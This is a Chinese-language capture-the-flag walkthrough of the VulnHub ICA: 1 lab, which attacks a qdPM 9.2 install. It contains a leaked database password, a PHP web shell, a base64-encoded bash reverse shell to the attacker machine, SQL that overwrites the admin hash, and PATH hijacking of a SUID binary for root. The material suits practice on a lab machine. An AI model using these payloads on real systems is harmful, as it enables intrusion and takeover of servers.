环境说明
虚拟机软件:VirtualBox
靶场: ICA: 1
攻击机Kali:192.168.56.3
靶机:192.168.56.13
虚拟机模式:仅主机,攻击机靶机同一网段
下载链接:https://download.vulnhub.com/ica/ica1.zip
作者: onurturali
难度:简单
主机发现与服务探测
- 先上来看一下主机IP,确定地址是192.168.56.13
arp-scan--local
2. 继续使用nmap扫描一下开放的端口和服务
nmap-sV-sC-p-192.168.56.13
对其结果简单总结
| 端口 | 协议 | 服务 | 版本 | 备注 |
|---|---|---|---|---|
| 22/tcp | TCP | ssh | OpenSSH 8.4p1 Debian 5 | SSH远程登录 |
| 80/tcp | TCP | http | Apache 2.4.48 (Debian) | Web服务,标题 qdPM | Login |
| 3306/tcp | TCP | mysql | MySQL 8.0.26 | 数据库主端口 |
| 33060/tcp | TCP | mysqlx | MySQL X protocol listener | MySQL X DevAPI协议端口 |
| 接下来我们从web入手 |
web服务分析及漏洞查找
- 访问
http://192.168.56.13/直接到登录页面,并且通过title以及页面特诊分析发现该网站使用了版本是9.2的qdPM,它是一个CMS系统,接下来可以直接去网络上检索该版本存在的漏洞。 - 通过搜索得知 9.2版本的qdPM存在未授权访问导致的信息泄露,受影响接口是:
/core/config/databases.yml,这下好办了,直接访问http://192.168.56.13/core/config/databases.yml发现数据库用户和密码3. 注意这里的密码,实际密码是 encode里的内容,接下来使用命令行连接数据库
mysql-h192.168.56.13-uqdpmadmin -p'UcVQCMQk2STVeS6J'--skip-ssl对于命令行不熟的同学可以使用dbeaver这类的图形化软件连接,操作起来会更方便。
补充说明:ymfony1.4 的 sfDoctrineDatabase 加载这个 yml 配置时,部分版本支持在参数值内嵌入简短 PHP 表达式,会用 eval 解析。
这里作者写这个urlencode属于一种冗余写法,大概率是复制模板遗留下来的。
- 看一下数据库都有什么,有两个重要的数据库: qdpm和staff
showdatabases;
但是更可疑的是 staff,大概率有登录用户。
4. 先看一下 staff库中有哪些表
usestaff;showtables;
5. 查看表中内容, 通过数据表的结构可以看出login中的密码对应着user中的用户。
select*fromlogin;select*fromuser;
6. 接下来找了一个用户测试登录,发现不行,这里需要将 base64编码的密码简单解码了一下。
简单推测一下:
- 实际登录所用的数据表甚至数据库不是这个,这个只是迷惑人的。并且之前从config.yml文件中也能知道用的是 qdpm表。
- 登录确实用了这个数据表,但是密码可能存在二次加密, 这个方向不太好搞。
- 我们朝着第一种可能进发,先看看qdpm中的数据表users,空的
users_group看看,有东西 - 继续从上到下看看各个表中都有什么东西,最终在configuration表中发现了线索,有管理员用户的用户名和密码,密码这个格式肯定是要暴破的。
- 使用john暴破一下,好家伙,浪费了一个小时,还没等破解完,手贱通过忘记密码功能,直接把密码改了。总之此方法不行
john--format=phpass--wordlist=/usr/share/wordlists/rockyou.txt<(echo'$P$EmesnWRcY9GrK0hDzwaV3rvQnMJ/Fx0')
10. 换一个方式,既然破解不出来,那就造一个自己的密码然后转化成数据库中的phpass格式,然后更新一下数据库不就完了。
请按照以下步骤进行:
- 将旧的hash扔给AI分析一下cost是多少
- 使用python代码生成新的自定义hash
# 先pip install passlibfrompasslib.hashimportphpass# rounds=7 就是 cost=7,对应哈希开头 $P$E,自定义密码是 123456h=phpass.using(rounds=7).hash("123456")print(h)# 校验测试ok=phpass.using(rounds=7).verify("123456",h)print("verify:",ok)- 将结果复制并更新到数据表中
# 这里的 value值是你自己代码跑出来的值,当然用我的也行。UPDATEconfigurationSETvalue='$P$5b/Aa35giKWw.RCF4sdqiOm28wm1gr0'WHERE`key`='app_administrator_password';- 更新成功后直接使用 admin@localhost.com/123456 进行登录
- 登录成功后看菜单功能比较单一,我们需要利用CVE-2023-45856文件上传漏洞进行利用,因此先新建一个普通用户,如图所示,注意不要上传头像,会报错。
创建完成,使用我们新创建的用户登录,发现完整菜单。 - 根据下图指示找到对应的功能点
- 直接上传一个已经制作好的一句话木马即可。记得先切换到通用中把名称填一下
<?phpsystem($_GET['cmd']);?>
14. 上传完之后发现没有返回文件路径,但是下载这里有个路径,这个是下载功能,非真实木马路径,真实木马路径在 uploads目录,
该目录会列出文件和目录,实际上传路径在 attachments下,可以看到文件名前面加了一个随机数字。
接下来就是利用该木马反弹shell了
user flag的获取
- 访问
http://192.168.56.13/uploads/attachments/282447-a.php?cmd=echo%20YmFzaCAtYyAnYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjU2LjMvNjY2NiAwPiYxJw%3D%3D%20|%20base64%20-d%20|%20bash这里的base64编码需要根据你自己的攻击机IP来进行。对于新手可以去从网上找专门生成反弹shell命令的在线网站。
对于在线工具,不要使用真实IP进行,仅作为本地靶机练习,防止存在后门。
2. 我们当前用户是www-data,权限极低,需要通过提权等方式找到user flag。当然现在首要做的是提升shell
# shell执行以下命令python3-c'import pty;pty.spawn("/bin/bash")'# CTRL+Z退出当前shellstty raw -echo;fg# 接着输入exportTERM=xterm- 先使用sudo -l看看, 不太行,需要密码。
4. 看看网站目录有没有什么线索, 没有发现
5. 看看SUID文件呢:find / -perm -4000 -type f 2>/dev/null, /opt/get_access这个文件比较可疑
6. 看看权限呢
简单执行一下看看有没有帮助信息
使用strings看看程序里面的字符串呢
/lib64/ld-linux-x86-64.so.2 setuid socket puts system __cxa_finalize setgid __libc_start_main libc.so.6 GLIBC_2.2.5 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable u/UH []A\A]A^A_ cat /root/system.info Could not create socket to access to the system. All services are disabled. Accessing to the system is allowed only within working hours. ;*3$" GCC: (Debian 10.2.1-6) 10.2.1 20210110 crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.0 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry get_access.c __FRAME_END__ __init_array_end _DYNAMIC __init_array_start __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_csu_fini _ITM_deregisterTMCloneTable puts@GLIBC_2.2.5 _edata system@GLIBC_2.2.5 __libc_start_main@GLIBC_2.2.5 __data_start __gmon_start__ __dso_handle _IO_stdin_used __libc_csu_init __bss_start main setgid@GLIBC_2.2.5 __TMC_END__ _ITM_registerTMCloneTable setuid@GLIBC_2.2.5 __cxa_finalize@GLIBC_2.2.5 socket@GLIBC_2.2.5 .symtab .strtab .shstrtab .interp .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .got.plt .data .bss .comment通过分析发现有个cat /root/system.info命令,既然执行了 cat命令,那么我们可以通过环境变量劫持获取root shell
- 按照以下步骤
cd/tmp# 写cat假程序echo'#!/bin/bash'>catecho'/bin/bash'>>cat# 赋予其可执行权限chmod+xcat#把 /tmp 放到 PATH 最前面exportPATH=/tmp:$PATH# 执行程序/opt/get_access成功获取Root的shell
注意这个坑:为啥没有文件内容呢,干!!!! 我之前修改了cat的环境变量,导致我执行cat实际是获取root shell,
- 下面要么换个命令,要么使用绝对路径都可以,比如:/bin/cat /root/root.txt